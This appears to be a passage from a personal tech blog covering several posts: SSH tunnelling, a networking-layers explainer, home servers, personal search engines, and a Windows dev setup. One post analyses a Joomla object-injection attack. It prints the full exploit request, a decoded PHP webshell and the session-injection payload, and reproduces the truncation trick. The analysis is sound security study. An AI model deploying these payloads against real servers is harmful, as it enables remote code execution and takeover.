Now we just need to find the ports that the current SSH connection has opened. To do this, we need the ID of the sshd process, which is the parent of our running script, so we can get it with the following command:

tunnel:~$ grep PPid /proc/$$/status | awk '{ print $2 }'
123263

In bash, $$ is the current process ID, and the /proc directory contains a lot of interesting informations once you know the process ID.

We have the parent process ID, now we just need to find information about the sockets. lsof is a great tool for this, the only problem is that it only returns the information we need for the root user.

As a test, I added the mole user to sudoers to be able to run lsof as root, but I don't know if this is a good idea from a security point of view (for example, if lsof has some lesser-known feature to get a root shell out of it).

/etc/sudoers.d/10-mole-lsof

mole ALL=(root) NOPASSWD: /usr/bin/lsof

So, now we can get the information we need:

tunnel:~$ sudo lsof -a -nPi4 -sTCP:LISTEN -p 123263
COMMAND    PID USER   FD   TYPE  DEVICE SIZE/OFF NODE NAME
sshd    123263 mole    9u  IPv4 1569356      0t0  TCP 127.0.0.1:45991 (LISTEN)
sshd    123263 mole   11u  IPv4 1569360      0t0  TCP 127.0.0.1:39421 (LISTEN)

It has quite a few flags, -a indicates that you want AND relation between the filters, -n tells it not to make hostnames out of IP addresses, -P tells it not to make port numbers into port names, -i filters for IPv4 connections, -s filters for servers listening on TCP, and -p is used to specify the process id. With a little bit of awk magic, you'll quickly have ip:port pairs:

tunnel:~$ sudo lsof -nPi4 -sTCP:LISTEN -p 123263 -a | awk '/127.0.0.1:/ { print $9 }'
127.0.0.1:45991
127.0.0.1:39421

This gives us all the details we need to put together our script:

/home/mole/tunnel.sh

#!/bin/bash -e
PID=$(grep PPid /proc/$$/status | awk '{ print $2 }')

declare -A mapping
for app in $(sudo lsof -a -nPi4 -sTCP:LISTEN -p $PID | awk '/127.0.0.1:/ { print $9 }'); do
  mapping[$(pwgen -A0sBv 10 1)]="$app"
done

setup() {
    for key in "${!mapping[@]}"; do
        redis-cli <<EOF >/dev/null
MULTI
SET traefik/http/services/${key}-service/loadbalancer/servers/0/url http://${mapping[$key]}/
SET traefik/http/routers/${key}-router/rule Host(\`${key}.tunnel.example.org\`)
SET traefik/http/routers/${key}-router/entrypoints/0 web
SET traefik/http/routers/${key}-router/service ${key}-service
EXEC
EOF
        echo "http://${key}.tunnel.example.org/ -> ${mapping[$key]}"
    done
}

cleanup() {
    for key in "${!mapping[@]}"; do
        redis-cli <<EOF >/dev/null
MULTI
DEL traefik/http/routers/${key}-router/rule
DEL traefik/http/routers/${key}-router/entrypoints/0
DEL traefik/http/routers/${key}-router/service
DEL traefik/http/services/${key}-service/loadbalancer/servers/0/url
EXEC
EOF
    done
    exit 0
}

trap 'cleanup' INT

setup
tail -f /dev/null

The only thing left to do is to try it out:

local:~$ ssh -R 0:127.0.0.1:8080 -R 0:127.0.0.1:8081 mole@tunnel.example.org
Allocated port 34021 for remote forward to 127.0.0.1:8080
Allocated port 39097 for remote forward to 127.0.0.1:8081
http://dkchdfskxz.tunnel.example.org/ -> 127.0.0.1:34021
http://kzhrwsmgqk.tunnel.example.org/ -> 127.0.0.1:39097

Also, in another terminal, we can check out the HTTP request:

local:~$ curl http://dkchdfskxz.tunnel.example.org/
hello world

As you can see, we can only tell what the random port is that sshd has assigned to us on the tunnel side, we don't know what port it corresponds to on the local machine. Luckily the SSH client prints it out, so we can put the whole chain together, but it can be a bit inconvenient with multiple remote forwards.

Of course, there is still a lot of room for improvement here as well, such as:

• making sure that the random generated by pwgen does not already exist in Redis
• a periodic cleanup script to delete stuck Redis keys that are no longer working
• HTTPS, mTLS, authentication

Summary

As is usually the case, it is probably not worth building your own solution from scratch for a system used daily by several people, when there are so many ready-made solutions available. However, it can never hurt to know how such a system works under the hood.

It may be worth keeping in mind the easy mode trick, it may even prove useful in the future. SSH is a fantastic thing.

Now with extra fingers for the more efficient hacking experience!

Have you ever wondered what happens behind the scenes when you send an HTTP request? How do the bits know where to go when you ping someone on the local network? Today, we will try to find answers to such questions.

At first, I didn't know how to approach the problem. Do I take an HTTP request and dig down to the bottom or start from the bottom until I'm able to construct an HTTP request? In the end, I decided on the latter.

It may be a bit more alien at the beginning, but I hope it'll make sense in the end. We'll go along the layers defined in the OSI model, so let's start with the hardware.

Physical layer

Chances are that everyone has an Ethernet network at home, something like this:

The modem, the router, and the switch may happen to live in the same box.

It's called the physical layer: a bunch of network devices, tied together with copper strings (or wireless devices tied together with magic). Each network device has a unique MAC address, assigned in the factory. There's a lot more interesting stuff to look into here (like how devices communicate with each other about which speeds they support), but personally, there's not much more I can tell you about it, so let's move on to the next layer, the data link layer.

Data link layer

At this layer, the zeros and ones we know so well finally appear. We have what's called the Ethernet frame, which is a unit of data that we can send at a time. It looks something like this:

Interesting that the sender needs to tell who the sender is. What happens if someone else's MAC address is entered there? Is it possible to do something naughty with this?

Two interesting things to note here. One is MAC spoofing, where we are not happy with the MAC address assigned by the hardware vendor and we want to change it. Say because our ISP's device only works with a fixed MAC address. Or there are Android phones, which by default connect to a Wi-Fi network with a random MAC address so that the phone cannot be tracked between networks.

The other interesting thing is MAC flooding, where the attacker sets up a bunch of random MAC addresses as senders. This fills up the entire MAC address table of the switch, leaving no room for the real MAC addresses. This usually has the consequence that the recipient MAC address of an incoming real packet will not be found in the MAC address table, causing it to be sent out to everyone. This allows attackers to peek into the contents of packets that are not intended for them.

The observant reader may also notice that there is no mention of the so-called IP addresses that we normally use. For that, we need to move on to the next level, which is the network layer.

Network layer

There are several interesting protocols to be mentioned here, all of which will be placed in the data part of the Ethernet frame. First, we need to know what MAC address is associated with a given IP address.

Address Resolution Protocol

ARP helps us with this, we can send a request to which the owner of the IP address can respond. The message structure:

Let's add IP addresses to the above diagram and see a concrete example of a request and response.

Say Alice wants to ping Bob, so she asks which MAC address the IP address 192.168.1.103 belongs to. The request (the green part belongs to the Ethernet frame, the blue part to the ARP request):

The IP addresses are in hexadecimal format, CyberChef is a nice tool for converting. In a request packet, the MAC address of the recipient can be anything, its value will be ignored.

Bob receives this request and since his IP address is 192.168.1.103, he sends a reply:

Here again, the question arises, what happens if Bob is not the only one who replies to the request, but the evil Mallory as well? Could Alice be sending her messages for Bob to the wrong place?

The devices have something called an ARP cache, which holds the IP address - MAC address mappings so that you don't have to ask every time. For Alice, it might look something like this:

$ ip -br neigh
192.168.1.103                           eth0             0a:00:00:00:00:03
192.168.1.104                           eth0             0a:00:00:00:00:04
192.168.1.1                             eth0             0a:00:00:00:00:01

This cache is also updated when an ARP response is received without being requested, which means that if Mallory starts flooding the network with fake ARP responses (telling Alice that he is the router, telling the router that he is Alice), and forwards packets passing through it to the original recipients, he can intercept (or even alter) Alice's Internet traffic without Alice noticing anything.

Internet Protocol

The following protocol is IP, which finally gives us IP addresses and the ability to exchange data between two IP addresses. The IP packet structure:

Internet Control Message Protocol

Since we mentioned ping earlier, we should mention ICMP. It's a strange beast, it belongs to the network layer, but it feels like it should be in the transport layer. It's wrapped into an IP packet in the same way as UDP or TCP, only it's not for data transport. In the case of ping, the message is structured somewhat like this:

Alice already knows Bob's MAC address, so she can finally send the ping she originally wanted, which Bob can then reply to. The request looks something like this (the green part is for the Ethernet frame, the blue part is the IP packet, the red part is ICMP):

To which Bob sends the following reply:

It's getting complicated, and we are far from the end. Did you notice that there was no mention of ports? It wasn't by mistake, at this point the concept of a port does not exist, it is time for us to move up yet another level.

Transport layer

If you've ever opened sockets in any programming language, you'll be familiar with the protocols found here. Let's start with the easy one.

User Datagram Protocol

As mentioned above, UDP is the easier one. There's no guarantee that the packet will arrive, no retransmission for lost packets, you just yell into one end of the pipe and hope that the other end will hear it. A packet looks like this:

The sender port is also optional, if it is not set to zero, then the response packets are expected on that port.

Transmission Control Protocol

And this brings us to the famous and popular TCP. The cornerstone of the pack-everything-in-your-browser-and-serve-it-over-HTTP-based Internet. Until the wide adoption of HTTP/3, which uses UDP. A packet looks like this:

It's not just the structure of the packet that is important, but the little dance that the client and server do to exchange data. The connection must be established and closed, and both parties have to acknowledge that they have received the data sent by the other.

Establishing a connection

1. the client sends a SYN packet
   (the sequence number is 0, as this is the first packet from the client)
2. the server replies with a SYN, ACK packet
   (the sequence number is 0, as this is the first packet to the server, the acknowledgment number is 1, as the sequence number received before was 0 and no data was included, so the next packet will be expected to have the sequence number of 1)
3. the client responds with an ACK packet
   (the sequence number is 1, the acknowledgment number is 1)

Data exchange

1. the client sends 10 bytes of data
   (the serial number is 1)
2. the server replies with an ACK packet
   (the sequence number is 1, and the acknowledgment number is 11 since the previous sequence number was 1 and 10 bytes of data were received)
3. the server sends 100 bytes of data
   (the sequence number is 1)
4. the client replies with an ACK packet
   (the sequence number is 11, the acknowledgment number is 101)

Closing the connection

1. the client sends a FIN packet
   (the sequence number 11)
2. the server replies with a FIN, ACK packet
   (sequence number 101, acknowledgment number is 12)
3. the client replies with an ACK packet
   (the sequence number is 12, and the acknowledgment number is 102)

Application layer

We elegantly skip two layers, the session layer and the presentation layer. The session layer contains the SOCKS protocol for example, and the scope of the presentation layer often merges with the application layer.

The application layer can be, for example, HTTP. Using the knowledge gained above, let's see what happens when Alice runs a simple curl www.example.org command.

To be able to tell this, we need to know Alice's network settings. Suppose something like this is configured:

auto eth0
iface eth0 inet static
      address 192.168.1.102
      netmask 255.255.255.0
      gateway 192.168.1.1
      dns-nameservers 1.1.1.1

• we can do nothing with the www.example.org domain, we need an IP address
• the configured DNS IP address is not on the local network, so the request has to be sent to the router (gateway)
• send an ARP request to find out the MAC address of the router
• send a UDP packet to the MAC address of the router with the DNS IP address in the IP packet
• the router sees that it is not the recipient, so it forwards the packet to the Internet (NAT and connection tracking are also involved here so that the router's public IP address is visible in the packet on the way out and it knows who to forward the reply to)
• a reply UDP packet arrives from the Internet, the router sees that it is not the recipient
• because of connection tracking, the router knows where to forward the packet
• forward UDP packet to Alice
• IP address of www.example.org is X.X.X.X
• establish a TCP connection, make an HTTP request
• the address X.X.X.X is not on the local network, so TCP packets are sent to the MAC address of the router with the corresponding destination IP address
• reply packets are forwarded by the router to Alice
• closing the TCP connection
• ARP requests are probably not needed at this point because they are cached

Another question that may arise is how to know that an IP address is not on the local network. From the address/netmask/gateway settings above, a routing table is generated that looks something like this:

$ sudo route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.1.1     0.0.0.0         UG    0      0        0 eth0
192.168.1.0     0.0.0.0         255.255.255.0   U     0      0        0 eth0

I don't say I know exactly how this works, but I would guess that it will pick the narrowest match or start from the end and work backward and pick the first match, but the point is, if something is in the range 192.168.1.0-192.168.1.255 it will just simply send it out to the appropriate MAC address, for all other IP addresses it will send the packet to the MAC address associated with the IP address 192.168.1.1. The router has a similar routing table to decide what to do with the incoming packets.

Summary

I hope I have managed to get a glimpse of what happens "underneath" us when we use the Internet. There are a lot of things going on through many layers and we have only managed to scratch the surface a little bit.

We didn't even get very far, just ventured as far as the router. What's beyond that... is a world of its own, with things like DSL, SDH, PPP, MPLS, BGP, OSPF, and a bunch of other acronyms I don't even know about. And yet, in most cases, our packets get to the right recipients. What is this if not magic?

Somehow I've always been attracted to the idea of having a home server. The first one was an ancient desktop PC with a retro gray case on which we installed Debian. It was the start of my journey with Linux. Later, I snatched a used Dell OptiPlex Gx240, which lasted until the Raspberry Pi Model B came out. From then on, I used Raspberry Pi as a home server for quite a long time, always switching to the latest version.

But ARM-based systems aren't without their own problems. Some things didn't work, there were missing packages or it needed cross-compiling. Not to mention that the Raspberry Pi is not a powerhouse either. I had an eye on the x86 architecture for a while, especially the Intel NUC product line, but in the end, I replaced my home server needs with cloud servers.

At some point, I moved down from the cloud and currently have three servers running at home.

File server

A descendant of the old Raspberry Pi servers, a Model B 4 with 4 GB of RAM. Later I attached a 4 TB external drive to it, since then it has been used mainly as a file server with Samba. It also runs Syncthing, which I use for file synchronization between my machines.

It also has a partner in crime, a similar Raspberry Pi 4 Model B (probably with 4 GB of RAM as well, but I'm too lazy to check) running LibreELEC for making the TV smarter, but I wouldn't count that as a server.

The old router

At one time I ran across a lot of articles about how cool it is to build your own router from PC parts. So I got to build one in Mini-ITX size:

• Chieftec IX-03B-OP case
• Gigabyte GA-N3160N-D3V motherboard
• Intel Celeron N3160 integrated CPU
• 8 GB RAM
• SATA SSD
• passive cooling

It was really cool, I learned a lot, but after a while, it was too much of an inconvenience. I switched back to a normal router, but I kept the machine and a few services that still run from here. It has a recursive DNS resolver that also works as a DNS-based ad blocker (like Pi-hole, but homemade) and a TFTP/NFS server for the Raspberry Pi with LibreELEC. It had an OpenVPN server as well, but I started to migrate it to WireGuard and never finished, so I got neither of them now.

Application server

The old router wasn't meant to be a powerful machine, I needed something else to run applications on. I really liked the Mini-ITX form factor, so I packed up a similar little box as the router:

• the same Chieftec IX-03B-OP case
• Asus PRIME H410I-PLUS motherboard
• Intel Core i3-10100 CPU
• 16 GB RAM
• NVMe SSD
• active cooling

The machine is running a Docker Swarm, with Portainer and Traefik (details in the moving post). I tried out many things on it (Elastic Stack, Nextcloud, MQTT server for sensors). Currently, it is only running a GitLab instance (Git server, container/package registry, build server) and a MediaWiki. Maybe I could replace the latter with GitLab's built-in Wiki page as well.

And I think that's it. I hope you've been inspired by it and are already planning your new server. If you're just starting out on the (not particularly) bumpy road of home server ownership, a Raspberry Pi with the official Raspberry Pi OS Lite might be a good place to start (if it isn't out of stock). Relatively cheap, well-supported hardware, can handle quite a few self-hosted applications. Then, as you experience shortcomings along the way, you can look for alternative solutions.

Years ago I gave an in-house talk about a vulnerability that's so tangled, so improbable, that it still amazes me to this day.

It all started with a remarkably strange line in the web server logs. You could find a lot of strange lines in the logs of a web server connected to the public Internet, but remarkably strange ones...

192.0.2.1 - - [16/Oct/2018:17:33:48 +0000] "GET /?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B HTTP/1.1" 301 178 "-" "}__test|O:21:\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:46:\x22eval($_REQUEST[1]);JFactory::getConfig();exit;\x22;s:19:\x22cache_name_function\x22;s:6:\x22assert\x22;s:5:\x22cache\x22;b:1;s:11:\x22cache_class\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}}i:1;s:4:\x22init\x22;}}s:13:\x22\x5C0\x5C0\x5C0connection\x22;b:1;}\xF0\x9D\x8C\x86"

There are two interesting parts to this request. The data in the GET parameter (named 1) and the value of the user agent (the part between quotes at the end). Let's look at the GET parameter first.

Remote access

After decoding and some formatting, we get the following PHP code (by the way, CyberChef is a great tool to do such things):

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);

echo '->|';
file_put_contents(
  $_SERVER['DOCUMENT_ROOT'].'/webconfig.txt.php',
  base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+')
);
echo '|<-';

It tries to write something into the webconfig.txt.php file. After a quick base64_decode, we get another code:

<?php eval($_POST[1]);?>

It's a simple PHP remote shell an attacker could use to run any PHP code on the machine. But why encode it with base64? The moment I saved the file of this post containing the code above I got an alert from the antivirus software that it found a backdoor, but it couldn't be bothered by the base64 encoded string.

The problem is that the original HTTP request wasn't for the webconfig.txt.php file so the remote shell couldn't run the code it got from the 1 parameter. And anyway, why would they send a command to the remote shell to create itself? There must be some naughtiness in the user agent.

Code reuse

After a bit of formatting and decoding, we got this:

}__test|O:21:"JDatabaseDriverMysqli":3:{
  s:2:"fc";O:17:"JSimplepieFactory":0:{}
  s:21:"\0\0\0disconnectHandlers";a:1:{
    i:0;a:2:{
      i:0;O:9:"SimplePie":5:{
        s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}
        s:8:"feed_url";s:46:"eval($_REQUEST[1]);JFactory::getConfig();exit;";
        s:19:"cache_name_function";s:6:"assert";
        s:5:"cache";b:1;
        s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}
      }
      i:1;s:4:"init";
    }
  }
  s:13:"\0\0\0connection";b:1;
}\xF0\x9D\x8C\x86

There is no shortage of naughtiness here, that's for sure. It starts with a } character right away. That could be part of some kind of injection and they try to close the previous value with it.

The next part could remind experienced PHP developers of the output of the serialize function, but it's not quite the right format. The session_encode function has such a result and PHP stores the content of the session with this encoding. There is a strange \xF0\x9D\x8C\x86 part at the end as well. I couldn't figure that out yet, but I'm sure it's up to no good.

It looks like they try to create a new variable in the session through the User-Agent header. This new __test variable would be an instance of the JDatabaseDriverMysqli class. It has an active connection (connection is true) and a disconnect handler, the init method should be called on an instance of the SimplePie class in case of disconnect. This already sounds a bit strange, but if we take a look at the value of the feed_url, it gets more suspicious:

eval($_REQUEST[1]);JFactory::getConfig();exit;

Yet another remote shell, just to be sure.

Deep in the Joomla

With the help of the class names starting with a J, we could figure out that it's about Joomla. With a bit more research we could even find the vulnerability as well which contains the exact version. Now we can check out the source code. The relevant part of the JDatabaseDriverMysqli class:

public function __destruct()
{
    $this->disconnect();
}

public function disconnect()
{
    if ($this->connection)
    {
        foreach ($this->disconnectHandlers as $h)
        {
            call_user_func_array($h, array( &$this));
        }

        mysqli_close($this->connection);
    }

    $this->connection = null;
}

Before the removal of the object, it calls the disconnect method which runs all the disconnect handlers. In our case the init method of our suspicious SimplePie class:

function init()
{
    // ...

    $cache = call_user_func(
        array($this->cache_class, 'create'),
        $this->cache_location,
        call_user_func($this->cache_name_function, $this->feed_url),
        'spc'
    );

    // ...
}

The interesting part for us is that it calls the cache_name_function with the feed_url as the parameter. With the data from the user agent, this would end up as the following function call:

call_user_func('assert', 'eval($_REQUEST[1]);JFactory::getConfig();exit;');

It's quite an old vulnerability so it depends on the behaviour of the assert function before PHP 8.0.0. It runs the string it got as PHP code and checks the result. So this call would run the PHP code it got in the GET parameter.

We managed to solve the request, it's time to summarize what we found out:

• there is a PHP code in a GET parameter that would create a remote shell if it runs
• the content of the user agent looks like an injection that would create a new variable in the session
• the new variable is a carefully crafted object structure that would run the code in the GET parameter during the removal of the object

Joomla at some point puts the user agent into the session. Depending on the configuration this session could be stored in many places, but the default setting is that it gets saved in a MySQL table with the MySQLi driver. Another important detail here is that it sets the character set of the database connection to utf8 (and most likely the database and the tables have the same utf8 character set as well). But how would we end up with an injection?

Strange behaviors

We have two suspects remaining: the session handling of PHP and the data storage in MySQL. Let's start with the PHP. Here is a simple example to see how the session_encode works:

session_start();

$_SESSION['foo'] = array();
$_SESSION['bar'] = 'something';

print(session_encode() . "\n");

$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
foo|a:0:{}bar|s:9:"something";

Now that we roughly know what the expected output looks like we can try to add some naughtiness to it:

session_start();

$_SESSION['foo'] = array();
$_SESSION['evil'] = "}__test|O:8:\"stdClass\":1:{s:4:\"evil\";b:1;}\xF0\x9D\x8C\x86";
$_SESSION['bar'] = 'something';

print(session_encode() . "\n");

$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
foo|a:0:{}evil|s:46:"}__test|O:8:"stdClass":1:{s:4:"evil";b:1;}𝌆";bar|s:9:"something";

Nothing exciting yet, it just runs serialize on our naughtiness. Even the strange \xF0\x9D\x8C\x86 string turned out to be just a 4-byte UTF-8 character. But what happens if we try to decode this data?

$data = session_encode();

$_SESSION = array();
session_decode($data);

var_dump($_SESSION);

$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
array(3) {
  ["foo"]=>
  array(0) {
  }
  ["evil"]=>
  string(46) "}__test|O:8:"stdClass":1:{s:4:"evil";b:1;}𝌆"
  ["bar"]=>
  string(9) "something"
}

Absolutely nothing extraordinary. It's so disappointing. Maybe that \xF0\x9D\x8C\x86 part is related to MySQL. Let's start a server and check it out.

docker-compose.yml

version: '3'
services:
  app:
    image: php:5.3.29
    volumes:
      - .:/app
    working_dir: /app
  db:
    image: mysql:5.6.51
    environment:
      MYSQL_ROOT_PASSWORD: secret
      MYSQL_DATABASE: test

Our little test script connects to the database, sets the character set of the connection to utf8, creates a table with the same character set, and inserts a row that contains our naughty little byte sequence in the middle. And finally, we read the data back.

$db = new mysqli('db', 'root', 'secret', 'test');
$db->set_charset('utf8');

$db->query("CREATE TABLE test (id INTEGER NOT NULL AUTO_INCREMENT PRIMARY KEY, data TEXT NOT NULL) CHARACTER SET utf8");

$stmt = $db->prepare("INSERT INTO test (data) VALUES (?)");

$data = "foo\xF0\x9D\x8C\x86bar";

$stmt->bind_param('s', $data);
$stmt->execute();

$result = $db->query("SELECT * FROM test");
var_dump($result->fetch_assoc());

$db->query("DROP TABLE test");

$ docker-compose run --rm app php test.php
array(2) {
  ["id"]=>
  string(1) "1"
  ["data"]=>
  string(3) "foo"
}

At long last, something is happening. Part of the original data with our naughty string vanished.

The trick is that the utf8 character set (its full name is utf8mb3, also known as 3-Byte UTF-8 Unicode Encoding) isn't able to handle 4-byte UTF-8 characters (there is another character set for that called utf8mb4). If it encounters such a byte sequence it discards it with the rest of the data as well. It only stores the data up until the invalid character.

Let's look at the session_decode again to see what would happen if we simulate this behavior:

$data = session_encode();
$data = substr($data, 0, strpos($data, "\xF0\x9D\x8C\x86"));

$_SESSION = array();
session_decode($data);

var_dump($_SESSION);

$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
array(3) {
  ["foo"]=>
  array(0) {
  }
  ["evil"]=>
  NULL
  ["46:"}__test"]=>
  object(stdClass)#1 (1) {
    ["evil"]=>
    bool(true)
  }
}

Looks like PHP handles incomplete session data rather poorly. With that, we finally have the last piece of the puzzle in its place. We managed the reproduce the behavior that leads to the creation of a remote shell on the server by that remarkably strange HTTP request.

Observant readers may have spotted that I used quite an old version of PHP and MySQL in the examples. The reason is simple, in more recent versions this would not work.

Inserting our naughty little byte sequence in MySQL 5.7.42:

$ docker-compose run --rm app php test.php
Fatal error: Uncaught exception 'mysqli_sql_exception' with message 'Incorrect string value: '\xF0\x9D\x8C\x86ba...' for column 'data' at row 1' in /app/test.php:14
Stack trace:
#0 /app/test.php(14): mysqli_stmt->execute()
#1 {main}
  thrown in /app/test.php on line 14

Decoding mangled session data in PHP 5.4.45:

$ docker run --rm --volume $(pwd):/app --workdir /app php:5.4.45 php test.php
Warning: session_decode(): Failed to decode session object. Session has been destroyed in /app/test.php on line 43
array(1) {
  ["foo"]=>
  array(0) {
  }
}

Summary

It was a long journey, let's review what it took to exploit this vulnerability:

• an older version of PHP and MySQL (at the time of the publication of this vulnerability PHP 5.4 and MySQL 5.7 have been available for years)
• storing the session in MySQL in a table with a utf8 character set and with a database connection with a utf8 character set as well
• storing untrusted user data in the session
• the existence of classes in the code that, if combined in an unusual way, will eventually successfully execute a string as PHP code

What's the lesson learned? I don't know... things could go sideways even if you do everything right? In any case, remember this little investigation the next time you think that a potential vulnerability (be it in a library you use, the interpreter of your language of choice, or the database) cannot be exploited through your code.

Further reading

• Code Reuse Attacks in PHP: Automated POP Chain Generation
• A Different Kind of POP: The Joomla Unserialize Vulnerability
• OWASP: PHP Object Injection

Our topic for today, dear reader, is a little thought experiment: what if everyone had their own personalized (even local) search engine, instead of having to use central providers (DuckDuckGo, Google, Bing, and others)?

Obviously, from a privacy perspective, it would be a huge step forward if giant corporations wouldn't be able to collect who knows what kind of data about everyone in the world, and then to do who knows what with it. But is it technologically feasible?

The search engine

Before we get into details, let's take a broad look at how a search engine might work.

Download

There are programs called crawlers that visit a page, download its HTML source, extract links from it, visit those pages as well, extract links from them, and so on. Well-behaving crawlers respect the robots.txt and site owners can make their work easier by creating a sitemap.xml.

Processing

From the many-many HTML source files, data should be extracted. Most likely we would also need some context about where the text was found (e.g. page header or footer text), which can then be used later for ordering our search results. Additional metadata can be extracted if the website is using Open Graph, Microformats, or Schema.org protocols.

Storage

We have a couple of options here, based on the amount of data we are willing to store. We will definitely need an index that tells us all the pages that contain a word or phrase. If we also want to display the context where we found that phrase on the results page, we also need to store the data extracted by the processing step. If we want to display the web page from which the index was generated, we will need to store the full HTML page as well.

Search

A (web) application that converts a search term entered by a user into a database query and displays the results.

Download the Internet

So our first problem is the crawler. According to the Internet, there are roughly 400 million active websites today. Even if each of them has only 10 pages (probably a huge underestimation), we are talking about 4 billion pages we need to visit. If we can download every page in 100ms and extract links from it (also a highly optimistic estimate), it would take a crawler more than 12 years to visit everything. A thousand parallel crawlers could finish in 4-5 days... but it sure would be exciting to see billions of people sending thousands of crawlers to the Internet to build their own index.

And that was a very optimistic estimate. How much?

Just think about the fact that nowadays the f...antastic developers like to build websites that are unable to work without downloading and running (multiple megabytes of) JavaScript. So we might need a headless browser to extract the final HTML, which certainly won't finish in 100ms. That would be at least one (but maybe more like two) orders of magnitude slower.

Processing at this scale would also probably be too time-consuming and resource-intensive. Even if they would all be hand-crafted, minimalistic, syntactically, and semantically correct HTML pages... but obviously this is far from the reality. And then there are the SEO tricks, like text that is invisible to the user but present to the crawler and similar naughty things. We should filter out those as well.

Storage has similar problems. Google claims that its index is over 100,000,000 gigabytes in size. Even if it's mostly images and videos, this is way too much to store comfortably on a desktop computer. So it seems that there are problems with three of the four parts (download, processing, and storage). We are up to a bad start.

Alternative solutions

The overload caused by the crawlers could be solved by allowing crawlers to talk to each other about who has been where and exchange information. Although I don't know how we could do this safely so that a rogue crawler can't poison others with false information. And this doesn't help with the amount of data either.

But do we really need the whole Internet? Chances are that we are only interested in content in one or two languages other than our own, and we wouldn't need all of that data either. If we could somehow pick that one percent of the Internet we are interested in, then maybe we could make our own search engine work. We could enter pages into our personal search engine that we think are important enough to crawl, and then go through the external links on those sites, and so on. In the end, we would have a manageable amount of HTML files that could probably be stored on our computer.

In the end, however, it doesn't seem economical (or even possible) to have everyone run their own crawlers and produce their own index, but that doesn't necessarily mean that everyone can't have their own copy of the index. There could be, say, some open index format or database structure and anyone could publish their own indices.

The possibilities are endless, but let's take a look at some ideas for inspiration:

• thematic indices, like an index for programmers, with documentations, StackOverflow, and more
• big sites could publish their own index of their content (no crawling is needed, but in return, you trust them that the index and the real content of the site are the same)
• location-based indices, when you need to find all the ice cream shops in Prague
• companies that produce paid indices
• libraries, and public organizations that would make indices of content in their own language
• indices of non-profit organizations, such as archive.org, which already has such data anyway
• frequently updated news-like indices
• infrequently updated encyclopedia-like indices
• the index of your neighbor Joe, which is created from his favorite websites

Users could load the indices of their choice into their personal search engine, deleting parts that are not relevant to them to save space or get better results. During the search, they could choose which indices to search in.

From here on, the choice of index providers would determine the quality of the results. I suppose, over time, the good providers would rise to the top, and there would be know-how about index customizations. Any time when the quality of an index deteriorates, or it's not fresh enough, one would have the option to look for a new provider. And for the more tech-savvy, there would still be the option to start their own crawler and build their own index (which they can then sell to others).

Not much has been said about the search interface itself, but that part seems pretty straightforward. Since the index/database has an open format, anyone could build software on it. There would probably be some great open-source alternatives, either as a desktop application or as a web application that could be self-hosted on a server. And there would be plug-ins for these applications that could add calculators, currency converters, search history, and who knows what else to the basic functionality.

Summary

I have a few more little ideas here and there, but I didn't want to ramble too much. Let's get back to the original question. Is it just a dream to have your own search engine? If you want to search the whole Internet: yes. But you don't necessarily need the whole Internet to be happy (or to have a search engine that works well). With the right index providers and index sizes that are acceptable to the end user, I think it could work.

Web developers at work; late work of Leonardo da Vinci

Sometimes I feel like an endangered species among all the half-eaten apples, so I'll tell you a little bit about what my development environment looks like as a (web) developer on Windows.

As the rays of the Sun slowly penetrate the three layers of tempered glass, one of the most extraordinary creatures in the northern hemisphere can be seen - Scriptor fenestralis, better known as the web developer on Windows.

Their natural habitat is an ideal combination of artificial lighting and cool temperatures, creating an optimal environment for mentally challenging work.

In short: it's a Windows host machine running a Debian-based virtual machine with Hyper-V. Within that, I use Docker to run specific projects. It's not fancy technology by any stretch of the imagination, but I haven't had the urge to experiment with WSL2 more seriously. But let's get into the details.

The physical machine

I used to use VirtualBox, but then I switched to Hyper-V, because it's already included in Windows, you just have to turn it on. Also, I thought, if it's an official virtualization platform, it might work better. I don't have anything to back this up, one thing I can think of is that the virtual machine starts when the machine starts, but maybe you could do that with VirtualBox as well.

Networking

If you want to access your virtual machine (or the Internet from your virtual machine), you need to set up a network for it. Here we can go in two directions, we can use either an External switch or an Internal switch (there is also a Private switch, but that doesn't help us now).

On my desktop machine, I went with the External switch option, connected it with the network card that the machine gets Internet on and that's pretty much it. The virtual machine also appears to the router as if it were a physical machine on the network. Based on its MAC address, I gave it a fixed IP address on the DHCP server and a host on the DNS server that resolves to that IP address (devbox.lan).

This may be an acceptable solution for a desktop machine that is rarely moved, but what about a laptop for example where you may not have access to all the routers to configure this? An Internal switch could work in this case. I configured it with the following PowerShell commands:

> New-VMSwitch -SwitchName "Internal" -SwitchType Internal
> New-NetIPAddress -IPAddress 192.168.56.1 -PrefixLength 24 -DefaultGateway 192.168.56.1 -InterfaceAlias "vEthernet (Internal)"
> New-NetNAT -Name "InternalNatNetwork" -InternalIPInterfaceAddressPrefix 192.168.56.0/24

We are using the 192.168.56.0/24 subnet, but without DHCP we don't get an IP address automatically. We have to specify a fixed IP address inside the virtual machine. For Debian, something like this in /etc/network/interfaces should work:

iface eth0 inet static
  address 192.168.56.101
  netmask 255.255.255.0
  gateway 192.168.56.1

If you also need a host for it, you can add the following line to the C:\Windows\System32\drivers\etc\hosts file:

192.168.56.101 devbox.lan

